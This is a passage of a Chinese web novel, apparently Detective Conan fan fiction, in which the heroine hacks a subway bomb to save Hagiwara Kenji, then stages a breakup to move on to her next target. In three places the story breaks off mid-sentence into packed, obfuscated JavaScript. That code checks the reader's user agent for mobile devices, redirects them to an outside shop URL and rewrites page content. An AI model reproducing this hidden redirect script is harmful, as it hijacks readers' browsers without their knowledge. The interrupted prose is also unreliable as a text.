电话那头沉默了。鎏汐能听到背景音里司机在抱怨:“这条路至少还要堵二十分钟,先生你要不要考虑下车走一段?” 二十分钟。鎏汐心脏猛地一跳。原剧情里,地铁炸弹爆炸的时间是八点十分。如果萩原现在下车步行赶到地铁站,时间刚好够。 不行。 “研二……”她加重了哭腔,让每个音节都破碎得令人心疼,“我刚才……刚才做了个噩梦,梦见你被炸弹……我好怕,真的好怕……” 这是她最卑劣的手段:利用他对自己“爱意”的信任,用噩梦和眼泪编织成一张柔软的网,困住他奔赴死亡的脚步。 电话那头的呼吸声变得粗重。鎏汐几乎能想象出萩原此刻的表情——紧抿的唇,蹙紧的眉,握着手机的手背青筋凸起。他在挣扎。警察的责任感和对恋人的担忧,像两股力量在撕扯他的心脏。 “鎏汐,”他的声音终于响起,沙哑得不像话,“你听着,我答应你,我会小心,一定会平安回来。但现在……我必须去地铁站。那里有炸弹,有很多人,我不能不去。” 鎏汐闭上眼。意料之中的回答。这就是萩原研二——即使心软,即使担忧,也不会在责任面前退缩的男人。 “那……那你答应我,”她吸了吸鼻子,让声音听起来像在强忍泪水,“如果觉得不对劲,就立刻撤退,不要逞强。你要活着回来……一定要活着回来……” “我答应你。”萩原的声音很轻,却重得像誓言。 电话挂断了。 鎏汐盯着手机屏幕上那个缓慢移动的红点,指甲深深掐进掌心。疼痛让她保持清醒。她切换到第三个界面——那是她入侵的地铁站内部监控系统。 屏幕分成十六个小格,显示着地铁站各个角落的实时画面。鎏汐快速扫视,很快锁定了站台层。早高峰时段,站台上挤满了通勤的上班族和学生。人群像潮水般涌向列车,又像潮水般退去。 她的目光定格在站台中央的立柱旁——那里,一个不起眼的黑色背包被遗弃在长椅下。原剧情里,那就是炸弹。 时间:七点四十分。 萩原的红点还在拥堵路段缓慢移动,距离地铁站还有至少十五分钟车程。 足够了。鎏汐调出另一个窗口,输入一长串代码。这是她准备的第三重保险——如果前两重都失败,她还有最后一招。 但就在这时,监控画面里出现了变故。 一个穿着深蓝色工作服、戴着帽子的男人走向那个黑色背包。他蹲下身,似乎想捡起背包查看。鎏汐瞳孔骤缩——那是地铁站的工作人员,按照原剧情,他会在检查背包时触发炸弹的移动感应装置,导致计时器加速。 而现在,萩原还没到场。如果炸弹提前爆炸,不仅工作人员会死,站台上数百名乘客也会陪葬。 “该死。”鎏汐低声咒骂,手指在键盘上飞快敲击。她必须做点什么。 监控系统被她短暂切入一个循环画面——在工作人员视角里,那个黑色背包会“消失”三秒钟,然后又“出现”在稍远的位置。这是她能做到的极限:用技术制造视觉误差,引导工作人员离开危险区域。 屏幕上,工作人员果然露出了困惑的表情。他站起身,环顾四周,然后朝站台另一头走去——远离了黑色背包。 鎏汐松了口气,后背已经被冷汗浸湿。 时间跳到七点五十五分。 萩原的红点终于接近地铁站。但就在距离地铁站入口还有两百米时,红点突然停下了。 鎏汐皱眉,放大监控画面。地铁站入口处,几个穿着警服的人正在疏散人群——是松田阵平和他带领的防爆小队。他们提前到了。 这是计划外的变量。在原剧情里,松田应该在萩原殉职后才赶到现场。但现在,因为萩原的延误,时间线发生了微妙的变化。 手机再次震动。这次是匿名加密信息,来自她安插在地铁站附近的眼线:“松田警官已率队进入站台,正在排查可疑物品。目标(萩原)被拦在入口处,两人发生争执。” 争执? 鎏汐切换到地铁站入口的监控摄像头。画面里,萩原正试图冲破警戒线,而松田挡在他面前,两人面对面站着,气氛剑拔弩张。 “让开,阵平。”萩原的声音通过监控麦克风传来,带着罕见的急躁,“炸弹在里面,我必须进去。” 松田叼着烟,语气冷得像冰:“研二,你迟到了三十分钟。里面已经有专业人员在处理,你现在进去只会添乱。” “那是我的任务!” “你的任务是照顾好你自己!”松田突然提高音量,烟蒂被他狠狠扔在地上,“看看你现在这副样子——头发乱糟糟的,眼睛通红,连警服都没穿整齐。你这种状态进去拆弹,是想找死吗?” 萩原僵住了。 鎏汐看着监控画面,心脏像被什么东西攥紧。松田说得对——此刻的萩原确实状态不佳。他整夜没睡好,早上又经历摩托车故障、交通拥堵,心里还惦记着“高烧”的她。这种状态下拆弹,失误率会成倍增加。 而她,正是造成这一切的元凶。 愧疚像藤蔓一样缠绕上来,勒得她喘不过气。但鎏汐很快把那点情绪压下去。愧疚救不了人,只有冷静的计划才能。 时间:八点整。 站台层的监控画面里,松田的防爆小队已经包围了那个黑色背包。专业设备开始扫描,屏幕上的数据流快速滚动。 鎏汐调出炸弹的内部构造图——这是她通过暗网提前获取的情报。这枚炸弹被精心设计过:外壳是防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但萩原没有停。鎏汐看着他冲下楼梯,跨过警戒线,朝那个猩红色的倒计时飞奔而去的身影,喉咙像被什么堵住了。 四十五秒。 她的入侵程序终于突破了第一层防火墙。屏幕上弹出炸弹的内部控制界面——密密麻麻的线路图,像一张死亡的蛛网。 三十秒。 萩原冲到了松田身边。两人快速交流了几句,然后同时俯身看向背包内部。松田指着某根线路说了什么,萩原点头,从工具包里取出绝缘钳。 二十秒。 鎏汐找到了震动感应器的控制模块。她深吸一口气,输入最后一段代码——那是一个强制休眠指令,成功率只有百分之三十。 十秒。 萩原的钳子夹住了那根关键的蓝色线路。汗水顺着他紧绷的下颌线滴落,在防爆服上晕开深色的水渍。 五秒。 鎏汐按下回车键。 四秒。 休眠指令发送成功。 三秒。 倒计时停住了。 两秒。 站台上死一般寂静。萩原和松田保持着俯身的姿势,像两尊凝固的雕塑。 一秒。 然后,倒计时屏幕闪烁了几下,彻底熄灭。 炸弹,拆除了。 鎏汐瘫坐在地板上,后背抵着沙发边缘,浑身被冷汗浸透。她看着监控画面里,萩原摘掉防爆头盔,露出苍白却释然的脸;松田拍了拍他的肩,递过一支烟;防爆小队的成员们开始鼓掌、欢呼。 他们都活着。 计划成功了。 手机在这时响起。是萩原打来的。鎏汐看着屏幕上跳动的名字,手指悬在接听键上方,却迟迟没有按下去。 窗外的阳光透过窗帘洒进来,在地板上投下温暖的光斑。远处传来城市的喧嚣声——汽车鸣笛,人声嘈杂,鸽子扑棱着翅膀飞过天空。 这是一个平凡的早晨。一个本该有人死去的早晨,现在却平静得令人恍惚。 鎏汐终于按下接听键,把手机放到耳边。 “鎏汐,”萩原的声音传来,带着劫后余生的疲惫,却又有种奇异的温柔,“我没事。炸弹拆除了,所有人都安全。” 她张了张嘴,想说“太好了”,想说“我就知道你会平安”,想说“快回来我在等你”。 但最终,她只是轻轻“嗯”了一声。 眼泪毫无征兆地滚落下来,砸在手背上,烫得像要灼穿皮肤。 她成功了。她救了他。 27.第 27 章 任务结束后的公寓里,静得能听见时钟秒针走动的声响。 萩原研二推开鎏汐公寓门的瞬间,手里还提着刚从便利店买来的退烧药和温热的蔬菜粥。地铁炸弹案顺利解决的消息早在半小时前传遍警视厅——因为出发前的种种延误,他竟阴差阳错避开了原定的爆炸陷阱,松田和同事控制了现场,无人伤亡。 这本该是值得庆幸的事。 可当他看见鎏汐时,所有劫后余生的喜悦都被冻在了喉间。 她穿着那件米白色的家居服,正坐在客厅落地窗前的单人沙发上,手里握着手机,屏幕的光映在她脸上,勾勒出一种近乎冷漠的平静。窗外暮色四合,最后一缕夕阳的光晕掠过她的侧脸,却没能染上丝毫暖意。 “鎏汐,我回来了。” 萩原尽量让声音听起来轻松些,他将药和粥放在玄关的柜子上,脱下外套挂好。动作间,防爆服特有的硝烟味尚未完全散去,混杂着地铁站潮湿的尘埃气息。 鎏汐这才抬起头。 她的视线在他脸上停留了不到三秒,随即移开,重新落回手机屏幕。那眼神里既没有担忧,也没有劫后余生的庆幸,甚至连最基本的询问都没有。她只是很轻地“嗯”了一声,语气平淡得像在回应天气预报。 “给你买了退烧药和粥,”萩原走到她面前,蹲下身,试图去碰她的额头,“还难受吗?我看看有没有发烧——” “不用了。” 鎏汐微微侧头避开了他的手。 这个动作很小,却带着清晰的拒绝意味。萩原的手僵在半空,指尖残留的温度迅速冷却。他看着她,第一次如此清晰地察觉到某种不对劲——她脸上没有病态的红晕,呼吸平稳,甚至刚才躲避的动作都带着一种刻意的敏捷。 “你……”萩原喉咙发紧,声音不自觉地低下去,“没发烧?” 鎏汐终于放下了手机。 她抬眼看向他,那双总是漾着温柔笑意的眼睛里此刻空空荡荡,像蒙了一层薄雾。她扯了扯嘴角,露出一个近乎敷衍的弧度:“可能只是累了,睡一觉就好。” 说着,她站起身,从他身侧绕过去,走向厨房的方向。擦肩而过的瞬间,萩原闻到她身上淡淡的沐浴露香气——那是她早上用的那款,带着柑橘的清新,此刻却莫名显得疏离。 “粥放在那里吧,”她背对着他,打开冰箱取出矿泉水,语气轻描淡写,“我晚点再喝。” 萩原站在原地,看着她的背影。 任务结束后的疲惫感此刻才后知后觉地涌上来,混杂着某种说不清的不安。他想起早上出门前,她打来电话时那虚弱得几乎气若游丝的声音;想起她拽着他的袖子,眼眶泛红地说“萩原警官,别走”;想起她靠在他怀里时,发梢擦过他下颌的轻柔触感。 那些画面还鲜明地烙印在记忆里,可眼前这个人的态度却判若两人。 “鎏汐,”他听见自己的声音有些发干,“你是不是……在生我的气?” 她拧瓶盖的动作顿了一下。 “生气?”鎏汐转过身,倚在流理台边,歪头看他,脸上带着一种近乎天真的困惑,“我为什么要生气?” “因为我早上还是去执行任务了,没留下来陪你。”萩原走近几步,试图从她眼睛里找到哪怕一丝熟悉的温度,“我知道你当时很难受,但我——” “萩原警官。” 鎏汐打断了他。 她放下水瓶,双手环抱在胸前,那是一个略带防备的姿态。夕阳已经完全沉没,室内没有开灯,昏暗的光线里,她的表情模糊不清,只有声音清晰地传来,带着某种刻意维持的平静。 “你是拆弹警察,任务比什么都重要,我明白的。”她说,“你不用道歉,真的。” 话虽如此,语气里却听不出半分理解或体谅,反而更像一种程式化的回应。萩原的心一点点沉下去,某种冰冷的预感开始蔓延。 “那你现在……”他顿了顿,试图找到一个不那么尖锐的切入点,“感觉好点了吗?要不要我陪你去看医生?” “不用了,我想一个人待会儿。” 这句话说得很快,几乎没有任何犹豫。鎏汐说完便转身朝卧室走去,走到门口时,她停下脚步,却没有回头。 “萩原警官,”她的声音从昏暗的走廊传来,平静得可怕,“你今天也累了,早点回去休息吧。” 门轻轻合上了。 没有锁扣的声响,却比任何锁都更彻底地将萩原隔绝在外。他站在原地,玄关柜上的粥还冒着微弱的热气,药盒的塑料包装在昏暗光线下反着冰冷的光。空气里还残留着她身上柑橘的香气,却再也捕捉不到半分温度。 萩原缓缓走到沙发前,坐下。 手指无意识地摩挲着沙发布料的纹理,脑海里却不受控制地回放着这段时间的点点滴滴——咖啡厅里她递来的那杯美式,商场爆炸时她扑过来的身影,病房里她泛红的眼眶,游乐园摩天轮下她接过白玫瑰时那含着泪光的笑…… 每一个画面都那么真实,每一个眼神都那么真挚。 可为什么此刻,这一切都像蒙上了一层模糊的玻璃,看不真切,触手冰凉? 手机在口袋里震动起来,是松田发来的消息:「任务报告写完了,明天交。你那边怎么样?那丫头没事吧?」 萩原盯着屏幕看了很久,手指悬在键盘上,却不知道该回复什么。 最终,他只打了一个字:「嗯。」 发送成功后,他站起身,走到卧室门前。手抬起,想要敲门,却在触碰到门板的前一秒停住了。 鎏汐刚才那个回避的眼神,那种刻意维持的距离感,还有那句“我想一个人待会儿”——所有这些细节拼凑在一起,指向一个他不愿承认的可能性。 或许,有些东西从一开始就不是他以为的样子。 或许,那些温柔、那些关切、那些看似奋不顾身的守护,都只是…… 萩原闭上眼睛,深吸一口气。 他最终没有敲门,只是转身走回玄关,穿上外套,拎起那袋已经凉透的粥和药。离开前,他回头看了一眼紧闭的卧室门,心里某个地方像被细小的针尖刺了一下,不剧烈,却绵密地疼。 门锁合上的声音在寂静的公寓里格外清晰。 卧室内,鎏汐背靠着门板,缓缓滑坐到地上。 她手里还握着手机,屏幕上是萩原离开公寓的实时监控画面——她早就在门口安装了隐蔽的摄像头。看着他略显疲惫的背影消失在电梯口,她握紧手机,指甲几乎嵌进掌心。 对不起,萩原研二。 她在心里无声地说。 你活下来了,这就够了。至于那些温柔,那些承诺,那些看似美好的未来——从一开始,就是一场精心设计的骗局。 而现在,是时候让这场骗局落幕了。 窗外的夜色彻底吞没了最后一丝天光,鎏汐坐在黑暗里,开始计算下一个目标的接近方式。诸伏景光,降谷零的同期,即将潜入黑衣组织的公安警察——他的死亡节点,也在不远处等着。 她不能停,不能回头。 哪怕心里某个角落,因为刚才萩原离开时那个落寞的背影,轻轻抽搐了一下。 哪怕她清楚地知道,从明天开始,她将亲手把那个曾经对她交付真心的男人,推进更深、更冷的黑暗里。 鎏汐站起身,打开灯。 刺眼的光线瞬间填满房间,也照亮了她脸上最后一丝犹豫的阴影。她走到镜子前,看着镜中的自己,慢慢扬起一个练习过无数遍的、温柔而甜蜜的笑容。 那笑容完美无瑕,眼睛里却空空如也。 “好了,”她轻声对自己说,“该准备下一场戏了。” 窗外的东京夜色璀璨,万家灯火宛如星辰坠落。没有人知道,在这座城市的某个角落里,一场精心编排的离别正在悄然酝酿。 而属于萩原研二的那份真心,将在明天日落时分,被彻底摔碎在摩天轮下。 鎏汐关掉灯,重新没入黑暗。 这一次,她的眼神里只剩下冰冷的决绝。 摩天轮下的夜晚,霓虹灯将游乐园染成童话般的斑斓。鎏汐站在旋转木马旁的阴影里,指尖无意识地摩挲着手腕上那只已经失去预警功能的银色手链——那是萩原送她的第一个礼物,此刻在掌心冰凉得像一块墓碑。 距离约定的时间还有十分钟。 她深吸一口气,将心底最后一丝犹豫压进最深处。镜子里练习过无数遍的表情——冷漠、疏离、带着恰到好处的厌倦——此刻完美地凝固在脸上。只有她自己知道,左手在风衣口袋里攥得有多紧,指甲几乎嵌进掌心,疼痛是唯一的清醒剂。 “鎏汐!” 熟悉的声音从身后传来。 萩原研二快步走来,身上还穿着警视厅的制服外套,显然是刚下班就直接赶来了。他的头发被晚风吹得有些凌乱,眼底却带着明亮的笑意,那是一种劫后余生见到心爱之人时才会有的、不加掩饰的温柔。 “等很久了吗?”他走到她面前,自然地伸出手想碰她的脸,“今天队里临时开了个会,抱歉来晚了。” 鎏汐微微侧身,避开了他的触碰。 这个动作很轻,却像一根细小的针,猝不及防地刺进两人之间原本亲密的空气里。萩原的手僵在半空,脸上的笑容也滞了一瞬。 “怎么了?”他放下手,语气依旧温和,却带上了一丝不易察觉的试探,“是不是还在生早上的气?我那时候——” “萩原警官。” 鎏汐打断了他。 她转过身,正面对着他。旋转木马的音乐还在欢快地流淌,彩色的灯光在她脸上明明灭灭,却照不进那双此刻异常平静的眼睛。 “我们分手吧。” 声音不大,却清晰得像冰凌碎裂。 萩原脸上的表情彻底凝固了。他看着她,仿佛没听清那句话,又或者是不敢相信那句话是从她口中说出来的。几秒钟的空白里,只有远处的过山车呼啸而过的风声,尖锐地划过耳膜。 “……什么?”他终于开口,声音有些发干,“鎏汐,你在开玩笑吗?” “我没有开玩笑。”鎏汐的语调平直得像在念一份报告,“性格不合,我觉得我们不合适。” “性格不合?”萩原重复着这四个字,像是第一次理解它们的含义。他上前一步,试图从她脸上找到哪怕一丝玩笑的痕迹,“我们这几个月不是一直很好吗?你为我挡炸弹,我陪你逛游乐园,你说过你愿意做我女朋友——” “那是我一时冲动。” 鎏汐打断他,语速快得几乎不给自己留喘息的余地。她必须一口气说完,否则她怕自己会停下来,会看到他眼底那片正在迅速破碎的光。 “萩原警官,你是个好人,但我们的生活轨迹完全不同。”她避开他的视线,目光落在远处闪烁的摩天轮上,“你每天在生死线上徘徊,而我……我想要的是安稳的生活。我不想每天都提心吊胆,担心你会不会在哪个拆弹现场回不来。” 这番话她准备了整整三天,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那……”她张了张嘴,却不知道该说什么。 “不用再说了。”萩原打断她,声音重新恢复了平静,那种刻意维持的、不带任何情绪的平静,“既然这是你的选择,我尊重你。” 他顿了顿,目光最后一次落在她脸上。鎏汐能感觉到那道视线的重量,沉甸甸的,像是要把她的模样刻进记忆最深处。 “以后……照顾好自己。”他说完这句话,转身准备离开。 “萩原。” 鎏汐突然叫住他。 这个称呼再次脱口而出时,她甚至来不及思考。萩原停下脚步,却没有回头,只是静静地等着她的下文。 鎏汐看着他的背影——那个曾经在爆炸现场将她护在身后的背影,那个在病房里小心翼翼为她擦药的背影,那个在街头将她拥入怀中、心跳声清晰可闻的背影。 “对不起。”她轻声说。 这三个字没有任何伪装,没有精心设计,纯粹得连她自己都感到陌生。她不知道为什么要道歉,为了欺骗?为了伤害?还是为了那些她永远无法说出口的真相? 萩原的肩膀似乎僵了一下,但很快又放松下来。 “不用道歉。”他没有回头,声音被晚风吹得有些模糊,“感情的事,没有谁对不起谁。” 说完,他迈步离开,再也没有停留。 鎏汐站在原地,看着他渐行渐远的背影融入游乐园斑斓的光影里,最终消失在旋转木马另一侧的出口。直到彻底看不见了,她才缓缓松开一直紧握的左手。 掌心已经被指甲掐出四个深深的月牙形印记,渗着细微的血丝。 她低头看着那些伤痕,忽然觉得有些可笑。为了救一个人,她必须先亲手将他推入更深的痛苦;为了保护一段感情,她必须先亲手将它摔碎。 远处的摩天轮缓缓转动,每一节车厢里都亮着温暖的灯光。她想起不久前的那个夜晚,烟花在头顶绽放,萩原单膝跪地,手里捧着那束白玫瑰,眼神真挚得像藏了整片星空。 “我会用一生保护你。” 他说那句话时的表情,她大概一辈子都忘不了。 鎏汐转身,朝着与萩原相反的方向走去。风衣口袋里的手机震动起来,屏幕上显示着一条来自加密频道的消息: 「诸伏景光已确认接受潜入任务,三天后前往组织据点。按计划接近。」 她关掉屏幕,将手机塞回口袋。 游乐园的喧嚣在身后渐行渐远,前方是东京永不熄灭的夜色。鎏汐加快脚步,高跟鞋敲击地面的声音在寂静的街道上格外清晰,像某种倒计时。 她不能回头。 哪怕心里某个角落,因为刚才萩原离开时那个没有回头的背影,正悄无声息地塌陷。 哪怕她知道,从今往后,那个曾经对她交付真心的男人,将带着被她亲手刻上的伤口,独自走向没有她的未来。 鎏汐拦下一辆出租车,拉开车门的瞬间,她最后看了一眼摩天轮的方向。 彩色的灯光依旧绚烂,却再也照不进她的眼睛。 “去暗夜酒吧。”她对司机说,声音平静得没有一丝波澜。 车窗外的东京夜景飞速倒退,霓虹灯的光影在她脸上交错掠过,明明灭灭,像一场永不落幕的假面舞会。 而属于萩原研二的那一章节,就这样,被她亲手画上了句号。 下一个目标:诸伏景光。 倒计时,开始。 28.第 28 章 分手后的第三天,东京下起了绵密的秋雨。 鎏汐撑着一把黑色的长柄伞,站在警视厅对面的便利商店屋檐下。雨幕将街景晕染成模糊的水彩画,警视厅大楼的玻璃幕墙在雨水中折射出冰冷的光。她手里握着一杯已经凉透的美式咖啡,目光穿过雨帘,精准地锁定了三楼那个熟悉的窗口——那是爆裂物处理班的办公室。 距离下班时间还有十五分钟。 她已经在这里站了将近一个小时。黑色的风衣领子竖起,遮住了大半张脸,只有一双眼睛露在外面,平静地注视着对面大楼的出入口。雨水顺着伞面滑落,在脚边汇成细小的水流,浸湿了她的鞋尖。 她在等一个人。 确切地说,是在跟踪一个人。 萩原研二走出警视厅大门时,天色已经彻底暗了下来。他没有撑伞,只是将制服外套的领子竖起,低着头走进雨幕。雨水很快打湿了他的头发,一缕缕贴在额前,让他整个人看起来比平时更加疏离、疲惫。 鎏汐的心微微收紧。 她记得很清楚,过去的他即使遇到再糟糕的天气,也总是会在包里备一把折叠伞——那是她曾经送给他的,伞面上印着小小的爆炸云图案,当时她还笑着说“这样你每次撑伞都会想起我”。 而现在,他没有撑伞。 没有撑那把伞,也没有撑任何伞。 他走进雨里,像走进一场无需躲避的惩罚。 鎏汐等他走出几十米后,才悄无声息地跟了上去。雨声掩盖了脚步声,街道上行人稀少,偶尔有车辆驶过,溅起一片水花。她保持着恰到好处的距离,既能看清他的动向,又不会被他察觉。 他走得很慢。 不像平时那样步伐轻快,也不像执行任务时那样目标明确。他只是走着,偶尔在某个路口停下,望着被雨水冲刷的霓虹灯发呆,然后又继续往前走。那种茫然的、仿佛不知该去往何处的姿态,让鎏汐的心脏像被一只无形的手攥紧。 她告诉自己,这是必要的。 为了救他,她必须先伤害他;为了保护他,她必须先离开他。这套逻辑她已经对自己重复了无数遍,可当亲眼看见他这副模样时,那些精心构筑的心理防线还是开始出现细密的裂痕。 萩原在一家居酒屋前停下脚步。 那是一家很小的店铺,招牌在雨水中闪着昏黄的光。他站在门口犹豫了几秒,推门走了进去。透过玻璃窗,鎏汐能看到他在吧台最角落的位置坐下,没有点餐,只是抬手要了一瓶清酒。 她收起伞,在居酒屋对面的书店屋檐下找了个隐蔽的位置。雨水顺着屋檐滴落,在她脚边溅起细小的水花。她从背包里拿出一个小小的望远镜——那是松田曾经用来监视犯罪嫌疑人的工具,分手时被她悄悄留下了。 镜头里,萩原仰头喝下了第一杯酒。 动作很快,几乎没有停顿,仿佛那不是酒,而是某种急需咽下的解药。他的侧脸在昏黄的灯光下显得有些模糊,只有喉结滚动时那条紧绷的线条清晰可见。 鎏汐放下望远镜,深吸了一口气。 冰冷的空气混着雨水的潮湿涌进肺里,让她清醒了几分。她重新举起望远镜,调整焦距,镜头里萩原已经喝完了第二杯。他的手肘撑在吧台上,掌心抵着额头,这个姿势让他看起来异常疲惫——不是身体上的,而是某种更深处的、无法用睡眠缓解的疲惫。 居酒屋的门再次被推开。 松田阵平叼着烟走进来,雨水打湿了他的黑色外套,肩头深了一片。他径直走到萩原身边坐下,没有打招呼,只是抬手也要了一瓶同样的清酒。两人沉默地对坐着,谁也没有先开口,只有酒杯碰撞的吧台发出轻微的声响。 鎏汐看见松田说了什么,萩原摇了摇头,又仰头灌下一杯。松田皱起眉头,伸手按住他准备倒酒的手腕,两人似乎起了争执。隔着玻璃窗和雨幕,鎏汐听不见他们在说什么,只能从唇形勉强辨认出几个破碎的词—— “……不值得。” “别管我。” “……清醒点。” 萩原甩开松田的手,又给自己倒了一杯。这一次他没有立刻喝,只是盯着杯中透明的液体发呆。灯光在他眼底映出细碎的光,却没有任何温度,像结了冰的湖面。 松田看着他,最终叹了口气,没有再阻拦。他给自己也倒了一杯,两人就这样沉默地对饮,像在进行某种无声的仪式。 鎏汐放下望远镜,背靠着书店冰冷的墙壁。 雨水顺着墙壁渗进她的外套,冰凉的感觉顺着脊椎蔓延开来。她闭上眼睛,脑海里不受控制地浮现出许多画面——萩原第一次对她笑时的模样,他在烛光晚餐里吐槽工作时的表情,他单膝跪地递上白玫瑰时眼底那片明亮的光…… 每一个画面都那么鲜活,鲜活到她几乎能闻到当时的味道,感受到当时的温度。 可现在,那个曾经笑容明亮的男人,正坐在一家小居酒屋的角落里,用酒精麻痹自己,而这一切,都是她亲手造成的。 她睁开眼睛,重新举起望远镜。 镜头里,萩原已经有些醉了。他的脸颊泛起不正常的红晕,眼神涣散,握着酒杯的手微微发抖。松田似乎在劝他回家,但他只是摇头,又伸手去拿酒瓶。 松田终于忍无可忍,一把夺过酒瓶,拍下一张钞票在吧台上,架起萩原的胳膊往外走。萩原挣扎了几下,但酒精让他失去了大部分力气,最终还是被松田半拖半拽地带出了居酒屋。 雨还在下。 松田撑开一把黑色的伞,勉强遮住两人。他扶着摇摇晃晃的萩原走到路边,拦下一辆出租车。鎏汐看着他们上车,看着出租车尾灯在雨幕中渐行渐远,最终消失在街道的拐角。 她站在原地,雨水打湿了她的裤脚,冰冷的感觉从脚踝一路蔓延到心脏。 手机在口袋里震动起来。 她拿出来看了一眼,是加密频道发来的新消息: 「诸伏景光将于明晚20:00在暗夜酒吧与降谷零接头。已为你伪造好身份信息,代号‘汐’。任务目标:接近并获取信任,确保其顺利潜入组织。」 鎏汐盯着屏幕上的字,每一个都认识,却花了很长时间才理解它们的含义。 明天晚上。 距离现在还有不到二十四小时。 她关掉手机,重新撑起伞,走进雨里。鞋跟敲击湿漉漉的地面,发出清脆的声响,在空荡的街道上回荡。雨水顺着伞骨流下,在她周围形成一道透明的水帘。 她走到刚才萩原和松田等车的位置,停下脚步。 地面上还有几个浅浅的水洼,倒映着街灯破碎的光。她蹲下身,手指无意识地划过积水,冰凉的触感让她瑟缩了一下。 就在几个小时前,萩原还站在这里,被松田扶着,醉得几乎站不稳。 而她,站在对面的屋檐下,用望远镜看着他,像一个冷静的观察者,记录着实验对象的反应。 鎏汐站起身,从口袋里掏出那枚已经失去预警功能的银色手链。雨水打在手链上,顺着铃铛的缝隙滑落,在掌心留下湿冷的触感。 这是萩原送她的第一件礼物。 也是她留给自己的,关于这段“感情”的唯一证物。 她握紧手链,金属的边缘硌得掌心生疼。远处传来电车驶过的轰鸣声,混着雨声,像某种遥远的呜咽。 转身离开前,她最后看了一眼警视厅的方向。 三楼那个熟悉的窗口还亮着灯,在雨夜中像一座孤独的灯塔。她知道,从明天开始,她将彻底离开这个街区,离开有关萩原研二的一切,走向下一段注定要精心编排的“感情”。 下一个目标:诸伏景光。 倒计时,继续。 鎏汐将手链塞回口袋,撑稳雨伞,朝着与警视厅相反的方向走去。高跟鞋敲击地面的声音在雨夜里格外清晰,一步一步,像某种无法停止的节拍器。 她不能回头。 哪怕心里某个角落,因为刚才萩原那副醉得摇摇晃晃的模样,正在悄无声息地坍塌。 哪怕她知道,从今往后,那个曾经对她交付真心的男人,将带着被她亲手刻上的伤口。 夜色如墨,将东京的街巷浸染成深蓝。 居酒屋的霓虹招牌在潮湿的空气中晕开一团暖黄,鎏汐推开木门时,风铃叮当作响。店内烟雾缭绕,喧闹的人声与酒杯碰撞声交织成一片——这本该是放松的夜晚,可她一抬眼,就看见松田阵平坐在角落的位置,面前的烟灰缸里已经堆满了烟蒂。 他显然已经等了一会儿。 “来了?”松田抬起眼皮,语气里听不出情绪,只是将一杯早已倒满的烈酒推到她面前,“坐。” 鎏汐在他对面坐下,米白色的针织衫在昏黄灯光下显得柔和,与松田一身黑色夹克的冷硬形成鲜明对比。她没有碰那杯酒,只是平静地看着他:“松田警官找我,是为了研二的事?” “不然呢?”松田嗤笑一声,指尖夹着的烟在空气中划出一道白痕,“鎏汐小姐现在可是大忙人,刚甩了研二,又跟景光纠缠不清,怎么,还有空来见我这种‘前任’?” 他的用词刻意尖锐,每一个字都像淬了毒的针。 鎏汐垂下眼睫,指尖轻轻摩挲着酒杯冰凉的边缘。她知道松田在生气——不只是为萩原,更为了某种被愚弄的愤怒。他们曾经在爆炸现场针锋相对,在赛车场上并肩追逐,她甚至从他的眼睛里看到过一闪而过的、连他自己都不愿承认的动摇。 “我没有玩弄任何人的感情。”她开口,声音很轻,却清晰,“我对研二……是真的想过要好好在一起的。” “然后呢?”松田猛地倾身,手臂撑在桌面上,阴影将她笼罩,“然后就在他掏心掏肺告白之后,轻飘飘一句‘不爱了’就转身走人?鎏汐,你当他是傻子,还是当我们所有人都是傻子?” 店内其他客人的目光若有若无地飘过来,又被松田冷冽的眼神逼退。 鎏汐抬起头,迎上他的视线。她的眼底没有慌乱,也没有愧疚,只有一种近乎疲惫的平静:“松田警官,有些事情,不是表面看起来那么简单。我离开研二,有我的理由。” “什么理由?说来听听。”松田靠回椅背,重新叼起烟,眼神却像钉子一样钉在她脸上,“让我看看你能编出什么新花样。” 空气凝固了几秒。 鎏汐忽然伸手,端起那杯烈酒,仰头一饮而尽。辛辣的液体灼烧着喉咙,她强忍着没有皱眉,只是将空杯轻轻放回桌面,发出一声脆响。 “我不需要向你解释。”她的声音因为酒精而有些沙哑,“就像你也不需要向我解释,为什么明明讨厌我,却还是在我被小混混骚扰时出现。” 松田的瞳孔微微收缩。 那是三天前的事。鎏汐从便利店出来时,被三个醉醺醺的男人围住,言语轻薄,动手动脚。她本可以自己解决——她的格斗技巧足够放倒那三个人——可还没等她动作,松田就像凭空出现一样,三拳两脚将人撂倒在地。他一句话都没说,甚至没看她一眼,只是踹开最后一个还想爬起来的混混,然后转身就走。 就像今晚,他明明可以用更激烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031279|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方式质问她,却偏偏选在这个他们曾经一起来过的居酒屋,选在这个靠窗的、能看到街景的位置。 “我只是路过。”松田别开视线,语气生硬。 “是吗?”鎏汐轻轻笑了笑,那笑意未达眼底,“松田警官执勤的区域离那里有五公里,什么样的‘路过’需要绕这么远?” 松田沉默。 烟蒂在他指尖燃尽,烫到皮肤时才被他摁灭在烟灰缸里。他盯着那缕最终消散的青烟,忽然开口,声音低得几乎被店内的嘈杂淹没:“研二这几天没来上班。” 鎏汐的手指微微收紧。 “请假了,说是感冒。”松田继续说着,语气平静得可怕,“但我去他家看过,玄关堆满了空酒瓶,客厅一片狼藉。他坐在沙发上,抱着你们在游乐园拍的合照——就是你笑得很开心,他搂着你的那张——一动不动。” 